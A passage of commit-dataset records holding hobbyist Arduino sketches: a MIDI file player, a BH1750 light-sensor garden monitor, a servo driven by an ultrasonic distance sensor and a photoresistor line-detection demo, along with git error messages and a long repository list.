sendChangeControl(98,65,10);\n sendChangeControl(06,120,10);\n M7b=0;\n }\n break;\n\n\n } \/\/end of switch (note) \n\n\n\n }\n\n else{\n switch(inNote){\n case 58:\n sendNoteOff(58,0,10);\n break;\n case 60:\n sendNoteOff(60,0,10);\n break;\n case 62:\n sendNoteOff(62,0, 10);\n break; \n case 64:\n sendNoteOff(64,0, 10);\n break; \n case 66:\n sendNoteOff(66,0, 10);\n break; \n case 68:\n sendNoteOff(68,0, 10);\n break; \n case 70:\n sendNoteOff(70,0, 10);\n break; \n case 72:\n sendNoteOff(72,0, 10);\n break; \n case 74:\n sendNoteOff(74,0, 10);\n break; \n case 76:\n sendNoteOff(76,0, 10);\n break; \n case 78:\n sendNoteOff(78,0, 10);\n break; \n case 80:\n sendNoteOff(80,0, 10);\n break; \n\n }\n }\n\n}\n\n\n\n\nvoid midiCallback(midi_event *pev)\n\/\/ Called by the MIDIFile library when a file event needs to be processed\n\/\/ thru the midi communications interface.\n\/\/ This callback is set up in the setup() function.\n{\n\n if ((pev->data[0] >= 0x80) && (pev->data[0] <= 0xe0))\n {\n SSerial.write(pev->data[0] | pev->channel);\n SSerial.write(&pev->data[1], pev->size-1);\n\n }\n else\n {\n SSerial.write(pev->data, pev->size);\n\n }\n\n\n \/\/ DEBUG(\"\\nM T\");\n \/\/ DEBUG(pev->track);\n \/\/ DEBUG(\": Ch \");\n \/\/ DEBUG(pev->channel+1);\n \/\/ DEBUG(\" Data \");\n \/\/ for (uint8_t i=0; i<pev->size; i++)\n \/\/ {\n \/\/\tDEBUGX(pev->data[i]);\n \/\/ DEBUG(' ');\n \/\/ }\n}\n\n\n\nvoid midiSilence(void)\n\/\/ Turn everything off on every channel.\n\/\/ Some midi files are badly behaved and leave notes hanging, so between songs turn\n\/\/ off all the notes and sound\n{\n midi_event\tev;\n\n \/\/ All sound off\n \/\/ When All Sound Off is received all oscillators will turn off, and their volume\n \/\/ envelopes are set to zero as soon as possible.\n ev.size = 0;\n ev.data[ev.size++] = 0xb0;\n ev.data[ev.size++] = 120;\n ev.data[ev.size++] = 0;\n\n for (ev.channel = 0; ev.channel < 16; ev.channel++)\n midiCallback(&ev);\n}\n\n\n\nvoid Sync(){\n\n unsigned long currentMillis = millis();\n if(currentMillis - prevmillis > interval) {\n \/\/ save the last time.\n prevmillis = currentMillis;\n \/\/ MIDI.sendRealTime(midi::Clock); MIDI 4.0 CONVENTION\n SSerial.write(Clock); \n }\n}\n\n\/*-----------------------------SETUP--------------------------------------------------------*\/\nvoid setup(void)\n{\n SSerial.begin(31250);\n Serial.begin(9600);\n \n \/\/ tft.initR(INITR_BLACKTAB); \/\/ initialize a ST7735S chip, black tab\n \/\/ tft.fillScreen(ST7735_BLACK);\n\n tft.println(\"SD Init...\");\n \/\/ Initialise SD\n if (!SD.begin(SD_CS, SPI_HALF_SPEED)) SD.initErrorHalt();\n\/\/ if (!SD.begin(SD_CS, SPI_HALF_SPEED))\n\/\/ {\n\/\/ \/\/ DEBUG(\"\\nSD init fail!\");\n\/\/ tft.println(\"SD init fail!\");\n\/\/ return;\n\/\/ }\ntft.println(\"SD Init completed\");\n\/\/ \/\/ Initialise MIDIFile\n SMF.begin(&SD);\n SMF.setMidiHandler(midiCallback);\n\/\/ SMF.setSysexHandler(sysexCallback);\n\n \/\/MIDI.sendProgramChange(1, 1);\n \n\/\/ tft.fillScreen(ST7735_BLACK); \n\/\/getFileNames(); \/\/WORKS! PRINTS FULL LIST OF FILES AT ROOT OF DRIVE\n\/\/\/ tft.print( SD.ls());\n\n}\n\n\/*-----------------------------END SETUP-----------------------------------------------------*\/\n\nvoid Play(){\n int err = -1;\n\n \/\/ for (uint8_t i=0; i<ARRAY_SIZE(tuneList); i++)\n \/\/{\n \/\/ reset LEDs\n \/\/ use the next file name and play it\n \/\/ SMF.setFilename(tuneList[i]);\n \/\/\n \/\/ err = SMF.load();\n \/\/\n \/\/ if (err != -1)\n \/\/ {\n \/\/ \/\/\t\tDEBUG(\"\\nSMF load Error \");\n \/\/ \/\/\t\tDEBUG(err);\n \/\/\n \/\/ delay(WAIT_DELAY);\n \/\/ }\n \/\/ else\n \/\/ {\n \/\/ \/\/ play the file\n \/\/ while (!SMF.isEOF())\n \/\/ {\n \/\/ if (SMF.getNextEvent())\n \/\/ Sync();\n \/\/ CheckMIDI();\n \/\/ SMF.setTempo(bpm);\n \/\/ }\n \/\/ \/\/ done with this one\n \/\/ SMF.close();\n \/\/ midiSilence();\n \/\/\n \/\/ \/\/ signal finsh LED with a dignified pause\n \/\/ delay(WAIT_DELAY);\n \/\/ }\n \/\/} \n}\n\n\nvoid CheckMIDI(){\n do{\n if (SSerial.available()>0){\n\n byte indata = SSerial.read();\n if (indata >=144 && indata <= 159){ \/\/144 is simply 0x90 or MIDI noteOn, there are 15 (0-15) possible channels so the max is 159 or 0x9F. I only care about NoteOn status messages.\n \/\/ Serial.println(\"NoteOn rxd\");\n commandByte = indata;\/\/read first byte\n inNote = SSerial.read();\/\/read next byte\n invelocity = SSerial.read();\/\/read final byte\n inchannel = (commandByte - 144);\n HandleNoteOn(commandByte, inNote, invelocity);\n }\n }\n }\n while (SSerial.available() > 2);\/\/when at least three bytes available\n\n}\n\nvoid sendNoteOn(byte cmd, byte inNote, byte invelocity){\n SSerial.write(cmd);\n SSerial.write(inNote);\n SSerial.write(invelocity);\n}\n\nvoid goodnotes(){\n for (byte inNote = 60; inNote <64; inNote++){\n sendNoteOn(0x90, inNote, 120);\n delay(100);\n sendNoteOn(0x90, inNote, 0);\n delay(100);\n }\n}\n\n\nvoid loop()\n{\n \/\/ CheckMIDI();\n\n\n\n\n\n \/\/Play();\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '4.2.14.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"2883dcc67afb0c60a618c936230448bb73f4ee34","subject":"here's a new try at commiting this","message":"here's a new try at commiting this\n","repos":"treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches,treeherder\/arduino_sketches","old_file":"garden\/garden.ino","new_file":"garden\/garden.ino","new_contents":"\n#include <Wire.h>\n\n#include <math.h> \nint BH1750address = 0x23; \/\/setting i2c address\nint light = 8;\nint ph_probe = A0;\n\nint water_temp = 13;\nbyte buff[2];\nchar cmd;\nint toggle_flag = 0;\n\nvoid setup () {\n Serial.begin(57600);\n pinMode(light, OUTPUT);\n Wire.begin();\n digitalWrite(light, LOW); \/\/turn the light on\n toggle_flag= 1;\n}\n\nvoid loop()\n{\n if(Serial.available() > 0){\n cmd = Serial.read();\n switch(cmd){\n case 'a': \n report_lux();\n break;\n\n default:\n break;\n }\n } \n}\n\n\nvoid report_lux()\n{\n int i;\n uint16_t val=0;\n BH1750_Init(BH1750address);\n delay(200);\n\n if(2==BH1750_Read(BH1750address))\n {\n val=((buff[0]<<8)|buff[1])\/1.2;\n Serial.print(val,DEC); \n Serial.println(\"[lx]\"); \n }\n delay(150);\n}\n\n\nint BH1750_Read(int address) \/\/\n{\n int i=0;\n Wire.beginTransmission(address);\n Wire.requestFrom(address, 2);\n while(Wire.available()) \/\/\n {\n buff[i] = Wire.read(); \/\/ receive one byte\n i++;\n }\n Wire.endTransmission(); \n return i;\n}\n\nvoid BH1750_Init(int address) \n{\n Wire.beginTransmission(address);\n Wire.write(0x10);\/\/1lx reolution 120ms\n Wire.endTransmission();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'garden\/garden.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"36ef5baf34d268c5b1bf0776105df2a78d35d1ad","subject":"Added files via upload","message":"Added files via upload","repos":"DAFRELECTRONICS\/CursoArduino,DAFRELECTRONICS\/CursoArduino","old_file":"Servo_wipe_distance\/Servo_wipe_distance.ino","new_file":"Servo_wipe_distance\/Servo_wipe_distance.ino","new_contents":"\/\/ *---------------------------------------------------------------------------------------------------------*\n\/\/ *Ejemplo para mover servo en funcion de la distancia leida por un sensor ultrasonico de distancia. *\n\/\/ *Requiere la libreria NewPing, puede descargarse aqui: http:\/\/playground.arduino.cc\/Code\/NewPing#Download *\n\/\/ *Escrito por: Daniel Arturo Fern\u00e1ndez Raygoza para DAFR Electronics. Licencia creative commons CC-BY-NC-SA*\n\/\/ *---------------------------------------------------------------------------------------------------------*\n\n#include <NewPing.h>\n#include <Servo.h>\n\n#define TRIGGER_PIN 12 \/\/ pin de Arduino conectado al pin TRIGGER del sensor ultrasonico. \n#define ECHO_PIN 11 \/\/ pin de Arduino conectado al pin ECHO del sensor ultrasonico. \n#define MAX_DISTANCE 200 \/\/ distancia maxima que deseamos medir con el sensor (en centimetros). Distancia maxima del sensor es de 400cm aproximadamente. \n#define SERVO_PIN 9 \/\/ pin de Arduino conectado al pin de control del servo.\n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE); \/\/ configuracion e inicializacion de la libreria NewPing.\nServo SG90; \/\/crea el objeto para controlar el servo a travez de la libreria. \n\nfloat distancia = 0;\nfloat angulo = 180;\n\nvoid setup() \n{\n Serial.begin(9600); \/\/ abrir puerto serial para visualizar la distancia y el angulo. \n SG90.attach(SERVO_PIN); \/\/inicia el servo en el pin seleccionado.\n SG90.write(angulo); \/\/ pone el servo a 180\u00b0.\n delay(250);\n Serial.println(\"Arduino listo! :)\");\n \n}\n\nvoid loop() \n{ \n distancia = sonar.ping_cm(); \n Serial.print(\"Distancia: \");\n Serial.print(distancia); \/\/ enviar distancia leida, \"0\" significa fuera de rango. Recordar que la distancia minima que puede leer el sensor es de 2cm.\n Serial.print(\"cm. - Angulo: \");\n angulo = map(distancia, 0, MAX_DISTANCE, 0, 180); \/\/calcula el angulo del servo en base a la distancia minima y maxima. \n if (distancia == 0) \/\/si la distancia esta fuera de rango pone el servo a 180\u00b0. \n {\n angulo = 180; \n }\n Serial.print(angulo); \/\/enviar angulo en en cual se posicinara el servo. \n Serial.print(\" grados. \");\n if (distancia == 0) \/\/si la distancia esta fuera de rango envia mensaje. \n {\n Serial.print(\" La distancia se encuentra fuera de rango.\");\n }\n SG90.write(angulo);\n delay(100); \n Serial.println(\"\"); \/\/salto de linea. \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Servo_wipe_distance\/Servo_wipe_distance.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c6b631e227ebd594106f765deacc5baf60758675","subject":"added photoresistor array demo","message":"added photoresistor array demo\n","repos":"TinkerUMD\/TinkerUMD","old_file":"demos\/photoresistor_array_demo\/photoresistor_array_demo.ino","new_file":"demos\/photoresistor_array_demo\/photoresistor_array_demo.ino","new_contents":"\/\/setup runs once at beginning\n\n\/\/threshold values: the analogRead crosses these values\n\/\/when the photoresistor crosses a black line\n#define THRESH_A0 700\n#define THRESH_A1 710\n#define THRESH_A2 730\n#define THRESH_A3 680\n#define THRESH_A4 690\n#define THRESH_A5 690\n\n\/\/fill an array with these threshold values\nint THRESHOLDS[6] = { THRESH_A0,\n THRESH_A1,\n THRESH_A2,\n THRESH_A3,\n THRESH_A4,\n THRESH_A5};\n\nvoid setup(){\n Serial.begin(9600);\n \/\/Setup analog inputs\n pinMode(A0,INPUT);\n pinMode(A1,INPUT);\n pinMode(A2,INPUT);\n pinMode(A3,INPUT);\n pinMode(A4,INPUT);\n pinMode(A5,INPUT);\n \n \/\/set up digital outputs\n pinMode(2,OUTPUT);\n pinMode(3,OUTPUT);\n pinMode(4,OUTPUT);\n pinMode(5,OUTPUT);\n pinMode(6,OUTPUT);\n pinMode(7,OUTPUT);\n \n}\n\n\/\/loop repeats continuously\nvoid loop(){\n \/\/declare array for holding the photoresistor measurement values\n int photoresistor_analog_readings[6];\n \n \/\/fill the array\n photoresistor_analog_readings[0] = analogRead(A0);\n photoresistor_analog_readings[1] = analogRead(A1);\n photoresistor_analog_readings[2] = analogRead(A2);\n photoresistor_analog_readings[3] = analogRead(A3);\n photoresistor_analog_readings[4] = analogRead(A4);\n photoresistor_analog_readings[5] = analogRead(A5);\n \n \/\/Loop through the photoresistor readings\n for(int i=0;i<6;i++){\n \/\/print 1 to serial and write LED high if black line\n if(photoresistor_analog_readings[i] < THRESHOLDS[i]){\n Serial.print(\"1 \");\n digitalWrite(i+2,HIGH);\n }\n \/\/print 0 to serial and write LED low otherwise\n else {\n Serial.print(\"0 \");\n digitalWrite(i+2,LOW);\n }\n }\n \/\/Create a new line\n Serial.print(\"\\n\");\n \n \/\/wait a 30 miliseconds\n delay(30);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demos\/photoresistor_array_demo\/photoresistor_array_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6f264fcf4a8971f987ce5e2f64b7212a66884173","subject":"Updated sha256Test.ino","message":"Updated sha256Test.ino\n","repos":"tkerr\/cpputil,tkerr\/cpputil","old_file":"test\/sha256Test\/sha256Test.ino","new_file":"test\/sha256Test\/sha256Test.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tkerr\/cpputil.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5627f14518650ae3fdcc46756957dd4c76b6adf6","subject":"Fixed typo in the KeyboardReprogram example","message":"Fixed typo in the KeyboardReprogram example\n","repos":"sanyaade-iot\/Arduino-1,karlitxo\/Arduino,adamkh\/Arduino,paulo-raca\/ESP8266-Arduino,niggor\/Arduino_cc,SmartArduino\/Arduino-1,Orthogonal-Systems\/arduino-libs,koltegirish\/Arduino,PaoloP74\/Arduino,tommyli2014\/Arduino,wayoda\/Arduino,henningpohl\/Arduino,byran\/Arduino,stevemarple\/Arduino-org,paulo-raca\/ESP8266-Arduino,tommyli2014\/Arduino,NeuralSpaz\/Arduino,Gourav2906\/Arduino,tskurauskas\/Arduino,championswimmer\/Arduino,OpenDevice\/Arduino,Chris--A\/Arduino,ogahara\/Arduino,PaoloP74\/Arduino,jomolinare\/Arduino,stevemarple\/Arduino-org,koltegirish\/Arduino,weera00\/Arduino,andyvand\/Arduino-1,gestrem\/Arduino,tbowmo\/Arduino,jmgonzalez00449\/Arduino,adamkh\/Arduino,mangelajo\/Arduino,me-no-dev\/Arduino-1,ms-iot\/Arduino,ForestNymph\/Arduino_sources,myrtleTree33\/Arduino,gberl001\/Arduino,HCastano\/Arduino,radut\/Arduino,jamesrob4\/Arduino,tannewt\/Arduino,ForestNymph\/Arduino_sources,byran\/Arduino,OpenDevice\/Arduino,bsmr-arduino\/Arduino,nandojve\/Arduino,gberl001\/Arduino,Protoneer\/Arduino,paulmand3l\/Arduino,damellis\/Arduino,toddtreece\/esp8266-Arduino,noahchense\/Arduino-1,drpjk\/Arduino,rcook\/DesignLab,jabezGit\/Arduino,paulmand3l\/Arduino,mattvenn\/Arduino,ari-analytics\/Arduino,PeterVH\/Arduino,Cloudino\/Arduino,byran\/Arduino,steamboating\/Arduino,snargledorf\/Arduino,plinioseniore\/Arduino,superboonie\/Arduino,stickbreaker\/Arduino,stevemarple\/Arduino-org,381426068\/Arduino,damellis\/Arduino,ccoenen\/Arduino,mattvenn\/Arduino,xxxajk\/Arduino-1,koltegirish\/Arduino,ricklon\/Arduino,adafruit\/ESP8266-Arduino,eduardocasarin\/Arduino,bugobliterator\/BUAGI,Orthogonal-Systems\/arduino-libs,championswimmer\/Arduino,arduino-org\/Arduino,leftbrainstrain\/Arduino-ESP8266,niggor\/Arduino_cc,steamboating\/Arduino,xxxajk\/Arduino-1,zederson\/Arduino,bigjosh\/Arduino,PaintYourDragon\/Arduino,ari-analytics\/Arduino,weera00\/Arduino,bsmr-arduino\/Arduino,ashwin713\/Arduino,paulmand3l\/Arduino,eduardocasarin\/Arduino,aichi\/Arduino-2,andyvand\/Arduino-1,Alfredynho\/AgroSis,ogahara\/Arduino,nkolban\/Arduino,andrealmeidadomingues\/Arduino,UDOOboard\/Arduino,henningpohl\/Arduino,shiitakeo\/Arduino,eduardocasarin\/Arduino,gurbrinder\/Arduino,ikbelkirasan\/Arduino,andrealmeidadomingues\/Arduino,zenmanenergy\/Arduino,laylthe\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,jomolinare\/Arduino,danielchalef\/Arduino,benwolfe\/esp8266-Arduino,PaoloP74\/Arduino,nandojve\/Arduino,ricklon\/Arduino,tommyli2014\/Arduino,arunkuttiyara\/Arduino,myrtleTree33\/Arduino,SmartArduino\/Arduino-1,eddyst\/Arduino-SourceCode,benwolfe\/esp8266-Arduino,koltegirish\/Arduino,tomkrus007\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,probonopd\/Arduino,ccoenen\/Arduino,arduino-org\/Arduino,lukeWal\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,arduino-org\/Arduino,mboufos\/esp8266-Arduino,PaoloP74\/Arduino,PaoloP74\/Arduino,bigjosh\/Arduino,HCastano\/Arduino,jamesrob4\/Arduino,karlitxo\/Arduino,PaoloP74\/Arduino,shannonshsu\/Arduino,bsmr-arduino\/Arduino,tannewt\/Arduino,HCastano\/Arduino,henningpohl\/Arduino,gestrem\/Arduino,acosinwork\/Arduino,majenkotech\/Arduino,jmgonzalez00449\/Arduino,wayoda\/Arduino,plaintea\/esp8266-Arduino,raimohanska\/Arduino,stickbreaker\/Arduino,gestrem\/Arduino,stevemarple\/Arduino-org,bigjosh\/Arduino,onovy\/Arduino,mboufos\/esp8266-Arduino,weera00\/Arduino,shannonshsu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,danielchalef\/Arduino,steamboating\/Arduino,KlaasDeNys\/Arduino,chaveiro\/Arduino,rcook\/DesignLab,Cloudino\/Arduino,pdNor\/Arduino,smily77\/Arduino,odbol\/Arduino,tannewt\/Arduino,ikbelkirasan\/Arduino,rcook\/DesignLab,onovy\/Arduino,381426068\/Arduino,ssvs111\/Arduino,ikbelkirasan\/Arduino,Chris--A\/Arduino,kidswong999\/Arduino,andyvand\/Arduino-1,adafruit\/ESP8266-Arduino,NaSymbol\/Arduino,cscenter\/Arduino,arduino-org\/Arduino,shiitakeo\/Arduino,wdoganowski\/Arduino,bigjosh\/Arduino,ogahara\/Arduino,zederson\/Arduino,lukeWal\/Arduino,rodibot\/Arduino,ashwin713\/Arduino,noahchense\/Arduino-1,kidswong999\/Arduino,eeijcea\/Arduino-1,PeterVH\/Arduino,shannonshsu\/Arduino,381426068\/Arduino,ricklon\/Arduino,ssvs111\/Arduino,ogferreiro\/Arduino,wilhelmryan\/Arduino,plaintea\/esp8266-Arduino,vbextreme\/Arduino,kidswong999\/Arduino,ashwin713\/Arduino,ashwin713\/Arduino,pdNor\/Arduino,leftbrainstrain\/Arduino-ESP8266,kidswong999\/Arduino,aichi\/Arduino-2,chaveiro\/Arduino,Ramoonus\/Arduino,ForestNymph\/Arduino_sources,garci66\/Arduino,me-no-dev\/Arduino-1,gurbrinder\/Arduino,vbextreme\/Arduino,HCastano\/Arduino,bsmr-arduino\/Arduino,koltegirish\/Arduino,zederson\/Arduino,byran\/Arduino,jaehong\/Xmegaduino,steamboating\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,acosinwork\/Arduino,ccoenen\/Arduino,jmgonzalez00449\/Arduino,drpjk\/Arduino,Cloudino\/Cloudino-Arduino-IDE,steamboating\/Arduino,gberl001\/Arduino,zenmanenergy\/Arduino,PaintYourDragon\/Arduino,raimohanska\/Arduino,eddyst\/Arduino-SourceCode,OpenDevice\/Arduino,mc-hamster\/esp8266-Arduino,garci66\/Arduino,Cloudino\/Cloudino-Arduino-IDE,odbol\/Arduino,zaiexx\/Arduino,UDOOboard\/Arduino,adamkh\/Arduino,OpenDevice\/Arduino,laylthe\/Arduino,lulufei\/Arduino,rodibot\/Arduino,stevemayhew\/Arduino,eeijcea\/Arduino-1,ForestNymph\/Arduino_sources,piersoft\/esp8266-Arduino,mboufos\/esp8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,sanyaade-iot\/Arduino-1,piersoft\/esp8266-Arduino,linino\/Arduino,shiitakeo\/Arduino,stevemarple\/Arduino-org,Alfredynho\/AgroSis,jamesrob4\/Arduino,linino\/Arduino,eggfly\/arduino,HCastano\/Arduino,Ramoonus\/Arduino,wilhelmryan\/Arduino,andyvand\/Arduino-1,NicoHood\/Arduino,mangelajo\/Arduino,bsmr-arduino\/Arduino,tannewt\/Arduino,Gourav2906\/Arduino,lulufei\/Arduino,raimohanska\/Arduino,probonopd\/Arduino,henningpohl\/Arduino,lulufei\/Arduino,NaSymbol\/Arduino,myrtleTree33\/Arduino,EmuxEvans\/Arduino,xxxajk\/Arduino-1,niggor\/Arduino_cc,UDOOboard\/Arduino,NeuralSpaz\/Arduino,bsmr-arduino\/Arduino,garci66\/Arduino,championswimmer\/Arduino,jmgonzalez00449\/Arduino,NicoHood\/Arduino,Alfredynho\/AgroSis,byran\/Arduino,ikbelkirasan\/Arduino,smily77\/Arduino,myrtleTree33\/Arduino,jaej-dev\/Arduino,bugobliterator\/BUAGI,plinioseniore\/Arduino,ektor5\/Arduino,benwolfe\/esp8266-Arduino,pdNor\/Arduino,onovy\/Arduino,zederson\/Arduino,gestrem\/Arduino,weera00\/Arduino,NeuralSpaz\/Arduino,zederson\/Arduino,toddtreece\/esp8266-Arduino,jamesrob4\/Arduino,Protoneer\/Arduino,SmartArduino\/Arduino-1,superboonie\/Arduino,tbowmo\/Arduino,onovy\/Arduino,shannonshsu\/Arduino,acosinwork\/Arduino,stickbreaker\/Arduino,rodibot\/Arduino,tskurauskas\/Arduino,ogferreiro\/Arduino,tomkrus007\/Arduino,paulo-raca\/ESP8266-Arduino,diydrones\/Arduino,OpenDevice\/Arduino,Alfredynho\/AgroSis,zenmanenergy\/Arduino,Gourav2906\/Arduino,smily77\/Arduino,garci66\/Arduino,lulufei\/Arduino,381426068\/Arduino,zenmanenergy\/Arduino,ektor5\/Arduino,gestrem\/Arduino,rodibot\/Arduino,zaiexx\/Arduino,henningpohl\/Arduino,talhaburak\/Arduino,plinioseniore\/Arduino,raimohanska\/Arduino,eeijcea\/Arduino-1,bigjosh\/Arduino,andyvand\/Arduino-1,jmgonzalez00449\/Arduino,niggor\/Arduino_cc,paulo-raca\/ESP8266-Arduino,nandojve\/Arduino,karlitxo\/Arduino,eddyst\/Arduino-SourceCode,rcook\/DesignLab,wayoda\/Arduino,championswimmer\/Arduino,rcook\/DesignLab,mangelajo\/Arduino,probonopd\/Arduino,piersoft\/esp8266-Arduino,ogahara\/Arduino,talhaburak\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Alfredynho\/AgroSis,lulufei\/Arduino,mc-hamster\/esp8266-Arduino,plinioseniore\/Arduino,linino\/Arduino,gonium\/Arduino,snargledorf\/Arduino,stevemayhew\/Arduino,damellis\/Arduino,benwolfe\/esp8266-Arduino,jmgonzalez00449\/Arduino,toddtreece\/esp8266-Arduino,ccoenen\/Arduino,smily77\/Arduino,myrtleTree33\/Arduino,bugobliterator\/BUAGI,danielchalef\/Arduino,tskurauskas\/Arduino,cscenter\/Arduino,jamesrob4\/Arduino,danielchalef\/Arduino,tannewt\/Arduino,adamkh\/Arduino,pdNor\/Arduino,HCastano\/Arduino,arunkuttiyara\/Arduino,cscenter\/Arduino,arduino-org\/Arduino,gonium\/Arduino,stickbreaker\/Arduino,ForestNymph\/Arduino_sources,majenkotech\/Arduino,weera00\/Arduino,drpjk\/Arduino,NicoHood\/Arduino,Orthogonal-Systems\/arduino-libs,nandojve\/Arduino,Gourav2906\/Arduino,eggfly\/arduino,leftbrainstrain\/Arduino-ESP8266,gonium\/Arduino,snargledorf\/Arduino,sanyaade-iot\/Arduino-1,PaintYourDragon\/Arduino,jabezGit\/Arduino,vbextreme\/Arduino,smily77\/Arduino,jaimemaretoli\/Arduino,probonopd\/Arduino,bigjosh\/Arduino,zenmanenergy\/Arduino,stevemayhew\/Arduino,scdls\/Arduino,plaintea\/esp8266-Arduino,gonium\/Arduino,stickbreaker\/Arduino,linino\/Arduino,aichi\/Arduino-2,stickbreaker\/Arduino,danielchalef\/Arduino,PeterVH\/Arduino,vbextreme\/Arduino,laylthe\/Arduino,diydrones\/Arduino,jaej-dev\/Arduino,snargledorf\/Arduino,ricklon\/Arduino,ogahara\/Arduino,HCastano\/Arduino,superboonie\/Arduino,ssvs111\/Arduino,NeuralSpaz\/Arduino,tbowmo\/Arduino,lulufei\/Arduino,damellis\/Arduino,ntruchsess\/Arduino-1,raimohanska\/Arduino,adafruit\/ESP8266-Arduino,ThoughtWorksIoTGurgaon\/Arduino,arunkuttiyara\/Arduino,ari-analytics\/Arduino,ari-analytics\/Arduino,myrtleTree33\/Arduino,majenkotech\/Arduino,aichi\/Arduino-2,adamkh\/Arduino,jomolinare\/Arduino,jamesrob4\/Arduino,wayoda\/Arduino,zederson\/Arduino,ssvs111\/Arduino,shannonshsu\/Arduino,UDOOboard\/Arduino,Gourav2906\/Arduino,ccoenen\/Arduino,wdoganowski\/Arduino,Cloudino\/Arduino,NicoHood\/Arduino,jaej-dev\/Arduino,jmgonzalez00449\/Arduino,acosinwork\/Arduino,ari-analytics\/Arduino,gonium\/Arduino,ccoenen\/Arduino,wayoda\/Arduino,paulmand3l\/Arduino,radut\/Arduino,jaehong\/Xmegaduino,andrealmeidadomingues\/Arduino,Chris--A\/Arduino,vbextreme\/Arduino,EmuxEvans\/Arduino,tskurauskas\/Arduino,vbextreme\/Arduino,Chris--A\/Arduino,SmartArduino\/Arduino-1,paulmand3l\/Arduino,nkolban\/Arduino,eggfly\/arduino,UDOOboard\/Arduino,superboonie\/Arduino,eeijcea\/Arduino-1,wdoganowski\/Arduino,probonopd\/Arduino,mattvenn\/Arduino,acosinwork\/Arduino,bsmr-arduino\/Arduino,eeijcea\/Arduino-1,Gourav2906\/Arduino,Alfredynho\/AgroSis,andyvand\/Arduino-1,noahchense\/Arduino-1,jamesrob4\/Arduino,sanyaade-iot\/Arduino-1,odbol\/Arduino,Chris--A\/Arduino,ektor5\/Arduino,adafruit\/ESP8266-Arduino,me-no-dev\/Arduino-1,ikbelkirasan\/Arduino,mc-hamster\/esp8266-Arduino,KlaasDeNys\/Arduino,ms-iot\/Arduino,tommyli2014\/Arduino,karlitxo\/Arduino,tbowmo\/Arduino,eggfly\/arduino,byran\/Arduino,ikbelkirasan\/Arduino,arunkuttiyara\/Arduino,vbextreme\/Arduino,rodibot\/Arduino,xxxajk\/Arduino-1,radut\/Arduino,PeterVH\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,andrealmeidadomingues\/Arduino,EmuxEvans\/Arduino,laylthe\/Arduino,bugobliterator\/BUAGI,snargledorf\/Arduino,nkolban\/Arduino,noahchense\/Arduino-1,ms-iot\/Arduino,Protoneer\/Arduino,NaSymbol\/Arduino,garci66\/Arduino,weera00\/Arduino,mboufos\/esp8266-Arduino,PaintYourDragon\/Arduino,aichi\/Arduino-2,tommyli2014\/Arduino,niggor\/Arduino_cc,andyvand\/Arduino-1,tommyli2014\/Arduino,ntruchsess\/Arduino-1,ntruchsess\/Arduino-1,ntruchsess\/Arduino-1,NaSymbol\/Arduino,adamkh\/Arduino,shannonshsu\/Arduino,jaimemaretoli\/Arduino,chaveiro\/Arduino,NaSymbol\/Arduino,ssvs111\/Arduino,nandojve\/Arduino,jabezGit\/Arduino,ogahara\/Arduino,niggor\/Arduino_cc,EmuxEvans\/Arduino,adafruit\/ESP8266-Arduino,eggfly\/arduino,drpjk\/Arduino,steamboating\/Arduino,rcook\/DesignLab,fungxu\/Arduino,talhaburak\/Arduino,Chris--A\/Arduino,ogferreiro\/Arduino,gberl001\/Arduino,piersoft\/esp8266-Arduino,smily77\/Arduino,jaej-dev\/Arduino,koltegirish\/Arduino,tannewt\/Arduino,sanyaade-iot\/Arduino-1,drpjk\/Arduino,ssvs111\/Arduino,ektor5\/Arduino,gurbrinder\/Arduino,talhaburak\/Arduino,bigjosh\/Arduino,pdNor\/Arduino,mboufos\/esp8266-Arduino,NaSymbol\/Arduino,zaiexx\/Arduino,kidswong999\/Arduino,xxxajk\/Arduino-1,eeijcea\/Arduino-1,zaiexx\/Arduino,fungxu\/Arduino,mattvenn\/Arduino,ogahara\/Arduino,eduardocasarin\/Arduino,championswimmer\/Arduino,tskurauskas\/Arduino,majenkotech\/Arduino,henningpohl\/Arduino,tbowmo\/Arduino,eggfly\/arduino,KlaasDeNys\/Arduino,pdNor\/Arduino,scdls\/Arduino,zederson\/Arduino,fungxu\/Arduino,spapadim\/Arduino,ricklon\/Arduino,majenkotech\/Arduino,mateuszdw\/Arduino,KlaasDeNys\/Arduino,jabezGit\/Arduino,sanyaade-iot\/Arduino-1,arduino-org\/Arduino,wilhelmryan\/Arduino,chaveiro\/Arduino,paulmand3l\/Arduino,diydrones\/Arduino,Protoneer\/Arduino,wilhelmryan\/Arduino,cscenter\/Arduino,PaoloP74\/Arduino,danielchalef\/Arduino,radut\/Arduino,laylthe\/Arduino,tomkrus007\/Arduino,jomolinare\/Arduino,niggor\/Arduino_cc,01org\/Arduino,chaveiro\/Arduino,eddyst\/Arduino-SourceCode,381426068\/Arduino,ntruchsess\/Arduino-1,PeterVH\/Arduino,gurbrinder\/Arduino,ashwin713\/Arduino,gberl001\/Arduino,OpenDevice\/Arduino,championswimmer\/Arduino,Cloudino\/Arduino,me-no-dev\/Arduino-1,benwolfe\/esp8266-Arduino,talhaburak\/Arduino,wilhelmryan\/Arduino,zenmanenergy\/Arduino,paulmand3l\/Ardui